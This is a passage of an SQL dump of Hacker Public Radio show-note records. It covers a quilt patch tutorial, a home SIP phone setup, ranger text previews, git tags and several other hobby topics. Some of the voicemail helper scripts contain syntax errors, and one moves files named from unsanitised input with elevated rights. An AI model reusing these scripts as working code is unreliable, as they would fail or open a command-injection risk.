class=\"sourceCode \"><code>$ quilt pop\r\n$ quilt series</code></pre>\r\n<p>We see that the list of patches has the same patches in it, but now the second patch is white (meaning unapplied) and the first patch is brown (meaning it is the one that would change if we edited a file and typed quilt refresh.</p>\r\n<pre class=\"sourceCode \"><code>$ quilt files</code></pre>\r\n<p>That first patch has two files in it, hello.c and header.h.</p>\r\n<p>Now unapply the first diff:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt pop\r\n$ quilt series</code></pre>\r\n<p>Both patches are listed, and both are shown as white.</p>\r\n<p>We can see what files quilt knows about before any patches are applied:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt files</code></pre>\r\n<p>No files.</p>\r\n<p>Apply all the patches at once:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt push -a\r\n$ quilt series</code></pre>\r\n<p>And look at what files quilt knows about:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt files</code></pre>\r\n<p>Now quilt reports on only one file, while in the first patch it knew about two files. You must be careful to &quot;add&quot; each file to each patch, or it will not put the changes in those files into the patch. Luckily, quilt edit will put the files in the patch for you, so if you always start your editor with quilt edit fname, then you will have your changed files added to your patches without having to take any other action. But, if you are adding an existing file to the patch, you can add it without having to open your editor with the quilt add command:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt add fname</code></pre>\r\n<p>In order to avoid forgetting to add a file in a patch as I was editing, I just added all the files in the directory each time I created a new patch, whether I edited them or not.</p>\r\n<h3 id=\"split-a-patch-in-two-parts\">Split a patch in two parts</h3>\r\n<p>We are going to split the first patch in two parts. We had fixed a typo and added a new file in one patch. They should be two separate patches.</p>\r\n<p>First make the first patch current:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt pop</code></pre>\r\n<p>Then make a copy of that patch:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt fork</code></pre>\r\n<p>This makes a copy of the first patch called fix-typo-2. But, it removes the first patch fix-typo and puts fix-typo-2 in the series. We need to put the first patch back, and then edit each of the two fix-typo patches so each one contains one part of the original patch.</p>\r\n<pre class=\"sourceCode \"><code># edit patches/series file and put the first patch back\r\n# The file should contain:\r\n\r\nfix-typo\r\nfix-typo-2\r\nprototype</code></pre>\r\n<p>Now edit the first patch using a plain-text editor. It is in patches/fix-typo. Remove the part about the new file, header.h. It should now look like:</p>\r\n<pre class=\"sourceCode \"><code>Index: hello/hello.c\r\n===================================================================\r\n--- hello.orig/hello.c\r\n+++ hello/hello.c\r\n@@ -1,4 +1,4 @@\r\n-#include &quot;stdio.h&quot;\r\n+#include &lt;stdio.h&gt;\r\n\r\n int main (int argc, char *argv[], *env[])\r\n {</code></pre>\r\n<p>Save this file. Now edit the second patch patches/fix-typo-2 using a plain-text editor. Remove the part about the file hello.c. It should now look like:</p>\r\n<pre class=\"sourceCode \"><code>Index: hello/header.h\r\n===================================================================\r\n--- /dev/null\r\n+++ hello/header.h\r\n@@ -0,0 +1,7 @@\r\n+#ifndef HEADER_HH__\r\n+#define HEADER_HH__\r\n+\r\n+#define NAME &quot;bjb\r\n+\r\n+#endif\r\n+</code></pre>\r\n<p>If you give a quilt series command now, you will see that fix-typo-2 is the current patch and quilt thinks fix-typo has been applied.</p>\r\n<p>We have to fix up quilts idea of reality.</p>\r\n<p>Pop the current patch. Things have changed under quilts feet so we have to force this with the -f option:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt pop -f</code></pre>\r\n<p>Now, because quilt thought the original state of fix-typo-2 is the unchanged file, quilt shows the series as being completely un-applied.</p>\r\n<pre class=\"sourceCode \"><code>$ quilt series\r\npatches/fix-typo\r\npatches/fix-typo-2\r\npatches/prototype</code></pre>\r\n<p>Now we can push the patches:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt push -a</code></pre>\r\n<h3 id=\"rename-a-patch\">Rename a patch</h3>\r\n<p>Here we rename a patch from fix-typo-2 to add-header. The quilt rename command acts on the current patch, so make fix-typo-2 current first:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt pop fix-typo-2\r\n$ quilt rename add-header\r\n$ quilt series\r\n$ quilt push -a</code></pre>\r\n<h3 id=\"reorder-the-patch-series\">Reorder the patch series</h3>\r\n<p>We will make a new patch, then move it earlier in the series:</p>\r\n<p>First make the new patch:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt new printf\r\n$ quilt edit hello.c</code></pre>\r\n<p>And change the print statement to:</p>\r\n<pre class=\"sourceCode \"><code>printf(&quot;Hello, world!n&quot;);</code></pre>\r\n<p>Save the patch:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt refresh</code></pre>\r\n<p>Now to demonstrate the reordering.</p>\r\n<p>Unapply all the patches, edit the patches series file patches/series so the patches are in the order you like, and then re-apply the patches. If you are lucky, they will re-apply with no conflicts.</p>\r\n<pre class=\"sourceCode \"><code>$ quilt pop -a\r\n$ vi patches/series\r\n# move &quot;printf&quot; between fix-typo and add-header.\r\n# now all the bug-fixes are at the beginning of the series\r\n$ quilt push -a</code></pre>\r\n<h3 id=\"merge-two-patches-into-one\">Merge two patches into one</h3>\r\n<p>Make another new patch:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt new output-function\r\n$ quilt edit hello.c</code></pre>\r\n<p>Change the c file to this:</p>\r\n<pre class=\"sourceCode \"><code>#include &lt;stdio.h&gt;\r\n\r\nint do_output(const char *name)\r\n{\r\n    return printf(&quot;Hello, %s!n&quot;, name);\r\n}\r\n\r\nint main (int argc, char *argv[], char *env[])\r\n{\r\n    /* ignoring the return code for do_output */\r\n    do_output(NAME);\r\n    return 0;\r\n}</code></pre>\r\n<pre class=\"sourceCode \"><code>$ quilt refresh</code></pre>\r\n<p>Now, to merge two patches into one:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt pop prototype\r\n$ quilt fold &lt; patches/output-function</code></pre>\r\n<p>We have merged the prototype and output-function patches, because they describe a related change.</p>\r\n<p>Save the patch.</p>\r\n<pre class=\"sourceCode \"><code>$ quilt refresh</code></pre>\r\n<h3 id=\"throw-away-a-patch\">Throw away a patch</h3>\r\n<p>Now we no longer need the last patch, output-function, as it has been included into the prototype patch. But we might want to rename the prototype patch.</p>\r\n<pre class=\"sourceCode \"><code>$ quilt delete output-function\r\n# we have to clean up a bit for quilt or the rename won&#39;t work\r\n$ rm patches/output-function\r\n$ quilt rename output-function</code></pre>\r\n<p>Deleting will not work on a patch that has been applied before the current patch.</p>\r\n<p>You are ready to contribute your patches ... go forth and code.</p>\r\n<h2 id=\"summary\">Summary</h2>\r\n<p>We have seen that quilt can help you manage your contributions to any project that is written in plain-text files. It can generate patch files (usually needed for contributions to open source projects) and can help you manage and update them as the tip of the development branch moves forward with other peoples\' contributions.</p>\r\n<p>To use quilt successfully, you need to remember to add files to each patch with quilt add/or quilt edit before editing, and to generate the patch with quilt refresh once all the editing of each patch is done. The rest is easy.</p>\r\n<p>Commands that edit the patches:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt new patch-name\r\n$ quilt add fname\r\n$ quilt edit fname\r\n$ quilt refresh\r\n$ quilt pop [-a]\r\n$ quilt push [-a]\r\n$ quilt rename [-P oldname] newname\r\n$ quilt delete [-P patchname]\r\n$ quilt fold &lt; patch_to_merge</code></pre>\r\n<p>Commands that view the state of the patches:</p>\r\n<pre class=\"sourceCode \"><code>$ quilt series\r\n$ quilt files\r\n$ quilt diff [-P patchname]\r\n$ quilt graph [--all]\r\n$ quilt patches fname\r\n$ quilt annotate fname\r\n$ quilt applied\r\n$ quilt unapplied</code></pre>\r\n<h2 id=\"hpr-exhortation\">HPR exhortation</h2>\r\n<p>You\'ve been listening to Hacker Public Radio. Anyone can make a show -if I can do it, so can you.</p>\r\n',357,0,0,'CC-BY-SA','quilt, patch, diff, plain-text, editor',0,0,1),
(2627,'2018-08-28','Home Phone Setup!!',1402,'This episode we set up a small phone system.','<p>I’m not sure what the echoing is about. It could be picked up from my cell phone’s speaker. Also, I call ftp “tiny ftp” It actually stands for “trivial ftp”</p>\r\n<p><img src=\"https://theadesilva.com/hpr_phone1.jpg\" alt=\"https://theadesilva.com/hpr_phone1.jpg\" /> <img src=\"https://theadesilva.com/hpr_phone2.jpg\" alt=\"https://theadesilva.com/hpr_phone2.jpg\" /> <img src=\"https://theadesilva.com/hpr_phone3.jpg\" alt=\"https://theadesilva.com/hpr_phone3.jpg\" /> <img src=\"https://theadesilva.com/hpr_phone4.jpg\" alt=\"https://theadesilva.com/hpr_phone4.jpg\" /></p>\r\n<p>tftp file for xinetd:</p>\r\n<pre><code>service tftp\r\n{\r\n protocol = udp\r\n port = 69\r\n socket_type = dgram\r\n wait = yes\r\n user = nobody\r\n server = /usr/sbin/in.tftpd\r\n server_args = /tftpboot\r\n disable = no\r\n per_source = 11\r\n cps = 100 2\r\n flags = IPv4\r\n}</code></pre>\r\n<p>voipbuster config files look like this:</p>\r\n<pre><code>SIPDefault.cnf:\r\n  nat_enable: 1\r\n\r\nSIP&lt;mac address&gt;.cnf:\r\nproxy1_address: sip.voipbuster.com\r\nline1_name: outside\r\nline1_authname: &lt;user&gt;\r\nline1_displayname: outside\r\nline1_password: &lt;password&gt;</code></pre>\r\n<p>github projects:</p>\r\n<ul>\r\n<li><p>SIP_Pi: <code>github.com/fabianhu/SIP_Pi (PjSIP: https://www.pjsip.org/release/2.1/pjproject-2.1.tar.bz2 )</code></p></li>\r\n<li><p>Messenger-CLI: <code>github.com/AstroCB/Messenger-CLI</code></p></li>\r\n</ul>\r\n<p>scripts:</p>\r\n<pre><code>=============================\r\nconst login = require(&quot;facebook-chat-api&quot;);\r\n\r\nlogin({email: &quot;FB_EMAIL&quot;, password &quot;FB_PASSWORD&quot;}, (err, api) =&gt;\r\n{\r\n  if(err) return console.error(err);\r\n  api.listen((err,message) =&gt; {\r\n   api.sendMessage(message.body, message.threadID);\r\n  });\r\n});\r\n\r\n=============================\r\n\r\n#!/bin/sh\r\nlame &quot;$2&quot; -o &quot;$2&quot;.mp3\r\n\r\nscp &quot;$2.mp3&quot; planetearth.us:\r\nssh planetearth.us ./runner &quot;&quot;$2.mp3&quot;&quot;\r\n\r\n==============================\r\n\r\n#!/bin/sh\r\n\r\necho &quot;$@&quot; | sed -e s/ /_/g &gt; runner_tmp\r\ndoas mv &quot;$1&quot; /var/www/theadesilva.com/html/$cat runner_tmp)\r\nnode ./oo.js\r\n\r\n==============================\r\n\r\nfs= require(&#39;fs&#39;);\r\nlogin = require(&#39;facebook-chat-api&#39;);\r\n\r\nfs.readFile(&#39;runner_tmp&#39;, &#39;utf8&#39;, function (err, data) {\r\n login({email: &quot;FB_EMAIL&quot;, password: &quot;FB_PASSWORD&quot;}) =&gt; {\r\n  if(err) return console.error(err);\r\n\r\n  api.sendMessage(&quot;New voicemail at 1109&#39;s front door &quot;https://theadesilva.com/&quot; + data + &quot;&quot;&quot; , THREAD_ID);\r\n });\r\n});\r\n\r\n===============================</code></pre>\r\n',115,0,0,'CC-BY-SA','sip kamailio ',0,0,1),
(2637,'2018-09-11','Convert it to Text',981,'This episode will make you want to TXT all the things.','<h2 id=\"why-use-plain-text\">Why use plain text?</h2>\n<ul>\n<li>Portability</li>\n<li>Use with Unix tools</li>\n<li>Use with Ranger</li>\n</ul>\n<h2 id=\"ranger-for-the-win\">Ranger for the win</h2>\n<ul>\n<li><a href=\"https://savannah.nongnu.org/projects/ranger\">Ranger</a> is a free console file manager that gives you greater flexibility and a good overview of your files without having to leave your *nix console. It visualizes the directory tree in two dimensions: the directory hierarchy on one, lists of files on the other, with a preview to the right so you know where you’ll be going.</li>\n<li>The scope functionality is where converting to text pays off. Located at <code>$HOME/.config/ranger/scope.sh</code>, scope is the feature that allows for file preview from inside the console. Text files are highlighted based on their file extension, for non-text files, different converters can be used to coerce the file into a text representation. Some items are available out of the box, but the configuration is written in such a way that any text can be presented in the preview screen.</li>\n<li>The basic format of the scope switch statement is as follows:</li>\n</ul>\n<pre><code>case &quot;$extension&quot; in\n    odt|odp)\n        try odt2txt &quot;$path&quot; &amp;&amp; { dump | trim | fmt -s -w $width; exit 0; };;</code></pre>\n<h2 id=\"tools-in-the-toolset\">Tools in the toolset</h2>\n<ul>\n<li>atool</li>\n<li>caca-utils</li>\n<li>poppler-utils</li>\n<li>catdoc</li>\n<li>catppt</li>\n<li>odt2txt</li>\n<li>ods2tsv</li>\n<li>docx2txt</li>\n<li>xlsx2csv</li>\n<li>mediainfo</li>\n<li>lynx/w3m/elinks</li>\n<li>highlight</li>\n</ul>\n<h2 id=\"bonus-tools\">Bonus tools</h2>\n<ul>\n<li>q</li>\n<li>jq</li>\n<li>xmlstarlet</li>\n</ul>\n',300,0,0,'CC-BY-SA','Unix,text,portability,ranger',0,0,1),
(2628,'2018-08-29','UK Telephone Network Exploration',589,'I describe the process of finding interesting phone numbers on the UK telephone network.','<p>If you have any questions regarding the show. Please leave them on the show page, or email me at <a href=\"mailto:james@jamesdotcom.com\">james@jamesdotcom.com</a> or twitter <code>@Xtrato</code>.</p>\r\n<p>My PGP key can be found here: <a href=\"https://jamesdotcom.com/pub.txt\" class=\"uri\">https://jamesdotcom.com/pub.txt</a></p>\r\n',368,0,0,'CC-BY-SA','UK telephone network,British Telecom,BT',0,0,1),
(2630,'2018-08-31','Open Source Gaming: Revisiting Meridian 59',229,'Discussing the  steam release of Meridian 59 (recorded before release)','<ul>\r\n<li><p>The game’s steam page<br />\r\n<a href=\"https://store.steampowered.com/app/893390/Meridian_59/\" class=\"uri\">https://store.steampowered.com/app/893390/Meridian_59/</a></p></li>\r\n<li><p>Community group on steam<br />\r\n<a href=\"https://steamcommunity.com/groups/m59\" class=\"uri\">https://steamcommunity.com/groups/m59</a></p></li>\r\n<li><p>Game website and source code<br />\r\n<a href=\"https://www.meridian59.com/\" class=\"uri\">https://www.meridian59.com/</a></p></li>\r\n<li><p>Article on the steam launch<br />\r\n<a href=\"https://www.mmobomb.com/news/meridian-59-game-launched-90s-finally-decides-hop-steam/\" class=\"uri\">https://www.mmobomb.com/news/meridian-59-game-launched-90s-finally-decides-hop-steam/</a></p></li>\r\n<li><p>Meridian 59 facebook group<br />\r\n<a href=\"https://www.facebook.com/groups/40338181227/?ref=br_rs\" class=\"uri\">https://www.facebook.com/groups/40338181227/?ref=br_rs</a></p></li>\r\n</ul>\r\n',354,0,1,'CC-BY-SA','Meridian 59,Steam',0,0,1),
(2633,'2018-09-05','Elm - First Impressions',1819,'My first impressions on Elm programming language','<ul>\r\n<li>Official site: <a href=\"https://elm-lang.org/\" class=\"uri\">https://elm-lang.org/</a></li>\r\n<li>Online package repository: <a href=\"https://package.elm-lang.org/\" class=\"uri\">https://package.elm-lang.org/</a></li>\r\n<li>please-focus (package for writing lenses): <a href=\"https://package.elm-lang.org/packages/SwiftsNamesake/please-focus/latest\" class=\"uri\">https://package.elm-lang.org/packages/SwiftsNamesake/please-focus/latest</a></li>\r\n<li>json-extra (for working with json): <a href=\"https://package.elm-lang.org/packages/elm-community/json-extra/latest\" class=\"uri\">https://package.elm-lang.org/packages/elm-community/json-extra/latest</a></li>\r\n<li>elm-decode-pipeline (another library for decoding json): <a href=\"https://package.elm-lang.org/packages/NoRedInk/elm-decode-pipeline/latest\" class=\"uri\">https://package.elm-lang.org/packages/NoRedInk/elm-decode-pipeline/latest</a></li>\r\n</ul>\r\n',364,0,1,'CC-BY-SA','elm, first impressions, programming language',0,0,1),
(2634,'2018-09-06','Git tag and metadata',1149,'An intro to git tags and how to view metadata about your Git repository.','<p>Tag a commit:</p>\r\n\r\n<pre>\r\n$ git tag 0.1\r\n$ git tag\r\n0.1\r\n</pre>\r\n\r\n<p>\r\nDelete a tag:\r\n</p>\r\n\r\n<pre>\r\n$ git tag -d 0.1\r\n</pre>\r\n\r\n<p>\r\nGet the latest commit hash:\r\n</p>\r\n\r\n<pre>\r\n$ git rev-list --tags --max-count=1\r\n94c5715694c5715687a962008dd71191460fc4e32370425a\r\n</pre>\r\n\r\n<p>\r\nGet any tag on a commit:\r\n</p>\r\n\r\n<pre>\r\n$ git describe --tags 94c5715\r\n0.1\r\n</pre>\r\n\r\n',78,104,0,'CC-BY-SA','git',0,0,1),
(2635,'2018-09-07','Running your own mainframe on Linux (for fun and profit)',3321,'This talk is about running your own mainframe on your own hardware.','<p>Yes, this talk is about running your own mainframe on your own hardware. Mainframes are old, yes, but they are still very much alive. New hardware is still being developed and there are a lot of fresh jobs in this area too. A lot of mainframes run COBOL workloads. COBOL is far from a dead language. It processes an estimated 85% of all business transactions, and 5 billion lines of new COBOL code are written every year. In this session the speaker will help you in take your first steps towards running your own mainframe. If you like then after this session you can continue to build your knowledge of mainframe systems using the links provided during the talk. Come on in and learn the basics of a completely different computer system! And it will take you less than an hour to do that!</p>',369,0,0,'CC-BY-SA','hercules,linux',0,0,1),
(2660,'2018-10-12','Installing a bootloader on an Arduino',399,'Ken uses a Arduino Uno to load a bootloader on an Arduino Nano','<p>\r\nIn this show you will learn how to install a bootloader on an Arduino using another Arduino via In-Circuit Serial Programming (ICSP)\r\n</p>\r\n\r\n<p>\r\nAll credit goes to <a href=\"https://www.sparkfun.com/users/150033\">M-SHORT</a> over at <a href=\"https://learn.sparkfun.com/tutorials/installing-an-arduino-bootloader\">SparkFun</a> for the excellent tutorial.\r\n</p>\r\n\r\n<ol>\r\n<li>Arduino IDE &gt; File &gt; Examples &gt; 11.ArduinoISP &gt; ArduinoISP</li>\r\n<li>Tools &gt; Board &gt; {your board}</li>\r\n<li>Tools &gt; Programmer &gt; Arduino as ISP</li>\r\n<li>Tools &gt; Burn Bootloader</li>\r\n</ol>',30,0,1,'CC-BY-SA','Arduino, Boot Loader, ISP, ICSP',0,0,1),
(2620,'2018-08-17','Thoughts on language learning part 1',1471,'My thoughts on an approach to language learning which makes sense to me.','<p>This is the first part of a 3 part series in which I ramble on about my thoughts on language learning. I’m no expert and I barely know one language well. In a nutshell:</p>\r\n<ol type=\"1\">\r\n<li>Teach as much as possible in the new language, focusing on vocabulary.</li>\r\n<li>Rather than starting with baby books, which might not be a bad idea, try to use a similar approach but assume the learners know a bit about how the world works.</li>\r\n<li>The goal is to get to about age 5-6 level in vocabulary so the learner can then switch to language books in the new language which already exist.</li>\r\n</ol>',151,0,0,'CC-0','spoken language learning',0,0,1),
(2622,'2018-08-21','Raspberry Pi Temperaturator',272,'I invite my 6 year-old daughter on to discuss how we setup a temperature monitor on her pi','<h2>Items used</h2>\r\n<ul>\r\n<li>Raspberry pi 3 B</li>\r\n<li>0.25 watt resistors</li>\r\n<li>Reusable breadboard</li>\r\n<li>One Wire thermal probe</li>\r\n<li>Various jump wires</li>\r\n</ul>\r\n',300,103,1,'CC-BY-SA','raspberry pi',0,0,1),
(2625,'2018-08-24','My thoughts on language learning communication applications.',980,'I discuss some of my thoughts regarding using chat programs in language learning','<p>This is the second in the series of my thoughts on language learning. In this episode I talk about it might be useful to modify existing chat programs to use two spell checking databases, one for the native language and one for the new language and have words removed from the native language dictionary as the learner advances.</p>\r\n<p>I did forget to mention that something similar might be done with the grammar checkers, too.</p>\r\n',151,0,0,'CC-0','spoken language learning',0,0,1),
(2647,'2018-09-25','More Quick Tips',1010,'More Quick Tips For July - Only Key and Nerf Guns','<p><a href=\"https://onlykey.io/collections/all/products/onlykey-color-secure-password-manager-and-2-factor-token-u2f-yubikey-otp-google-auth-make-password-hacking-obsolete?variant=469626486828\" class=\"uri\">https://onlykey.io/collections/all/products/onlykey-color-secure-password-manager-and-2-factor-token-u2f-yubikey-otp-google-auth-make-password-hacking-obsolete?variant=469626486828</a></p>\r\n<p>Nerf</p>\r\n<ul>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B00BXM6KFS\" class=\"uri\">https://smile.amazon.com/gp/product/B00BXM6KFS</a></li>\r\n<li><a href=\"https://smile.amazon.com/gp/product/B00DW1JT5G\" class=\"uri\">https://smile.amazon.com/gp/product/B00DW1JT5G</a></li>\r\n</ul>\r\n',36,0,1,'CC-BY-SA','Nerf gun,dart,OnlyKey,password',0,0,1),
(2652,'2018-10-02','Liverpool Makefest 2018 - Interview with Caroline and John',440,'This is the final interview from this years Liverpool Makefest','<p>This is the final interview from this years Makefest in Liverpool. In this interview I interview one of the founder members of Makefest, Caroline Keep, and the Head Teacher of the school where she works, John Carling.</p>\r\n<p><a href=\"https://lpoolmakefest.org/\" class=\"uri\">https://lpoolmakefest.org/</a></p>\r\n',338,78,0,'CC-BY-SA','Liverpool Makefest 2018, computing, young coders, hackers, makers, crafts',0,0,1),
(2629,'2018-08-30','Thoughts on language learning part 3 - game/story mode.',1564,'I discuss some of my thoughts on how games might help in language learning.','<p>This is the last of 3 parts on my thoughts on language learning. This one introduces my thoughts on how games might be used in language learning. More or less the same concepts from the first two episodes only applied to game/story design.</p>\r\n<p>NOTE: I’m not a game designer.</p>\r\n<p>On the off chance this sounds interesting to you, hpr2620 and hpr2625 are the other two.</p>',151,0,0,'CC-BY-SA','spoken language learning',0,0,1),
(2623,'2018-08-22','Actors and Agents, Sprites and Fractals',3426,'In which I sit down with cwebber and try to keep it short, but end up with an hour of tangents','<p>Plugs:</p>\r\n<ul>\r\n<li><p>Chris works on <a href=\"https://w3c-ccg.github.io/ocap-ld/\">Object Capabilities for Linked Data</a> (OCAP-LD) and other things for a living, at <a href=\"https://digitalbazaar.com/\" class=\"uri\">https://digitalbazaar.com/</a> .</p></li>\r\n<li><p>clacke works at <a href=\"https://fractalide.com/\" class=\"uri\">https://fractalide.com/</a> making better tools for future programmers.</p></li>\r\n<li><p>We’re both fortunate enough to have the chance to get paid for creating all Free Software.</p></li>\r\n<li><p>Christopher Lemmer Webber and Morgan Lemmer Webber will be speaking at <a href=\"https://con.racket-lang.org/\">RacketCon 2018</a> on the topic <em>Racket for Everyone (Else)</em>, how non-programmers can do &quot;programmable publishing&quot; using Scribble when writing humanities papers, and how Racket could better target not just beginner programmers and hard-core language theorists, but also the huge space in between.</p></li>\r\n</ul>\r\n<p>More information on the topics covered:</p>\r\n<ul>\r\n<li><p>For my last show with Chris, see <a href=\"https://hackerpublicradio.org/eps.php?id=2198\">hpr2198 :: How awesome is Guix and why will it take over the world</a></p></li>\r\n<li><p>His Actors library for Guile Scheme is <a href=\"https://www.gnu.org/software/8sync/\">8sync</a>. A video of him playing in front of an audience with the Multi-User Dungeon (MUD) on top of 8sync is available on the front page.</p></li>\r\n<li><p>Spritely, the media sharing platform that may or may not be the next MediaGoblin, is currently vaporware, but the underlying <a href=\"https://gitlab.com/spritely/goblins/\">Goblins</a> Actors library for Racket is real and works.</p></li>\r\n<li><p>Wikipedia has more on the <a href=\"https://en.wikipedia.org/wiki/Actor_model\">Actor Model</a>, <a href=\"https://en.wikipedia.org/wiki/Flow-based_programming\">Flow-Based Programming</a> and <a href=\"https://en.wikipedia.org/wiki/Object-capability_model\">Object Capabilities</a> (OCap).</p></li>\r\n<li><p>We also mentioned in passing <a href=\"https://en.wikipedia.org/wiki/Communicating_sequential_processes\">Communicating Sequential Processes</a>.</p></li>\r\n<li><p>I knew that OCap grew up in the context of <a href=\"https://en.wikipedia.org/wiki/E_(programming_language)\">E</a>, but I didn’t know that E itself actually grew out of the needs of a form of MUD, built by Electric Communities (EC). I’m guessing this is the graphical MMORPG <a href=\"https://en.wikipedia.org/wiki/Habitat_(video_game)\">Habitat</a> that EC built for Lucasfilm back in 1986, for the Commodore 64. Some writing about EC and the philosophy and experience around what they did is collected at <a href=\"https://www.crockford.com/ec/\" class=\"uri\">https://www.crockford.com/ec/</a>.</p></li>\r\n<li><p><a href=\"https://en.wikipedia.org/wiki/Language-oriented_programming\">Language-oriented programming</a> (LOP) is an old LISP methodology: Understand the problem, write a language for describing and solving the problem, write the solution in that language. Racket (itself a LISP) is heavily focused on this, and comes with a whole slew of languages out of the box. The Racket slogan on <a href=\"https://racket-lang.org/\" class=\"uri\">https://racket-lang.org/</a> is &quot;solve problems — make languages&quot;.</p></li>\r\n<li><p><a href=\"https://cacm.acm.org/magazines/2018/3/225475-a-programmable-programming-language/fulltext\">A recent ACM article</a> describes in depth what the challenges of good LOP are, and how Racket helps the programmer work with it.</p></li>\r\n</ul>\r\n',311,0,0,'CC-BY-SA','flow-based, actors, fractalide, racket, ocap, mud, programming',0,0,1),
(2624,'2018-08-23','Cycling through Brussels',1327,'On a hot day Knightwise rides his bike through Brussels.','<h2 id=\"cycling-through-brussels\">Cycling Through Brussels</h2>\r\n<ul>\r\n<li><p>Apple Store at the Guldenvlieslaan: <a href=\"https://www.apple.com/benl/retail/brussels/\" class=\"uri\">https://www.apple.com/benl/retail/brussels/</a></p></li>\r\n<li><p>Matonge District: <a href=\"https://en.wikipedia.org/wiki/Ixelles#Matong%C3%A9\">https://en.wikipedia.org/wiki/Ixelles#Matong%C3%A9</a></p></li>\r\n<li><p>René Magritte: <a href=\"https://en.wikipedia.org/wiki/Ren%C3%A9_Magritte\">https://en.wikipedia.org/wiki/Ren%C3%A9_Magritte</a></p></li>\r\n<li><p>Musee des Instruments: <img src=\"https://brusselsmuseums.imgix.net/covers/MIM-Hofberg_pano_170522_110758.jpg?w=730&amp;h=496&amp;fit=crop&amp;q=40&amp;auto=format%2Cenhance%2Ccompress\" alt=\"https://brusselsmuseums.imgix.net/covers/MIM-Hofberg_pano_170522_110758.jpg?w=730&amp;h=496&amp;fit=crop&amp;q=40&amp;auto=format%2Cenhance%2Ccompress\" /></p></li>\r\n<!-- <li><p>Musee des Instruments: <img src=\"https://brusselsmuseums.imgix.net/covers/MIM-Hofberg_pano_170522_110758.jpg\" width=\"730\" height=\"496\" alt=\"https://brusselsmuseums.imgix.net/covers/MIM-Hofberg_pano_170522_110758.jpg?w=730&amp;h=496&amp;fit=crop&amp;q=40&amp;auto=format%2Cenhance%2Ccompress\" /></p></li> -->\r\n<li><p>Victor Horta: <a href=\"https://en.wikipedia.org/wiki/Victor_Horta\" class=\"uri\">https://en.wikipedia.org/wiki/Victor_Horta</a></p></li>\r\n<li><p>Belgian Waffles: 2 kinds: <a href=\"https://www.ottsworld.com/blogs/a-tale-of-two-waffles/\" class=\"uri\">https://www.ottsworld.com/blogs/a-tale-of-two-waffles/</a></p></li>\r\n<li><p>He who saves the world in Shindlers list: <a href=\"https://www.youtube.com/watch?v=49aQb7VZ6F8\" class=\"uri\">https://www.youtube.com/watch?v=49aQb7VZ6F8</a></p></li>\r\n<li><p>Central Station<br />\r\n<a href=\"https://www.google.be/maps?rlz=1C1GCEA_enBE808BE808&amp;q=brussels+central+station&amp;um=1&amp;ie=UTF-8&amp;sa=X&amp;ved=0ahUKEwiP7Z7WodDcAhXOyKQKHTgZC0QQ_AUICigB\" class=\"uri\">https://www.google.be/maps?rlz=1C1GCEA_enBE808BE808&amp;q=brussels+central+station&amp;um=1&amp;ie=UTF-8&amp;sa=X&amp;ved=0ahUKEwiP7Z7WodDcAhXOyKQKHTgZC0QQ_AUICigB</a></p></li>\r\n</ul>\r\n',111,0,1,'CC-BY-SA','cycling,Brussels',0,0,1),
(2638,'2018-09-12','Dirt cheap Magic',2410,'Magic the Gathering for cheapskates','<p>In this episode, Klaatu talks about playing <strong>Magic: The Gathering</strong> for cheap.\r\n</p>\r\n\r\n<p>\r\nSee <a href=\"https://rpggeek.com/thread/532036/how-build-deck-magic-gathering\" target=\"_blank\">rpggeek.com&#47;thread&#47;532036&#47;how-build-deck-magic-gathering</a> by Eric Jome for a good deck building formula.\r\n</p>',78,95,0,'CC-BY-SA','magic,mtg',0,0,1),
(2639,'2018-09-13','Some ancillary Bash tips - 9',1305,'Making decisions in Bash (part 1)','<h1 id=\"some-ancillary-bash-tips---9\">Some ancillary Bash tips - 9</h1>\r\n<h2 id=\"making-decisions-in-bash\">Making decisions in Bash</h2>\r\n<p>This is my ninth contribution to the <a href=\"https://hackerpublicradio.org/series.php?id=42\" title=\"*Bash Scripting* series\"><em>Bash Scripting</em></a> series under the heading of <em>Bash Tips</em>. The previous episodes are listed below in the <a href=\"#links\">Links</a> section.</p>\r\n<p>It seems to me that it would be worthwhile looking at how Bash can be used to make decisions, such as how many times a loop should cycle (<em>looping constructs</em>) or to choose between multiple choices (<em>conditional constructs</em>). Of course we need to look at some of the expressions used in conjunction with the commands that do these tasks – the tests themselves – and we’ll do this in this episode.</p>\r\n<p>This is a complex area which I had some trouble with when I first started using Bash, and there is a lot to say about it all. I have prepared a group of HPR shows about this subject, in order to do it justice, and this is the first of the group.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2639/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bash-Conditional-Expressions\">“Bash Conditional Expressions”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins\">“Bourne Shell Builtins”</a></li>\r\n</ul></li>\r\n<li><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash 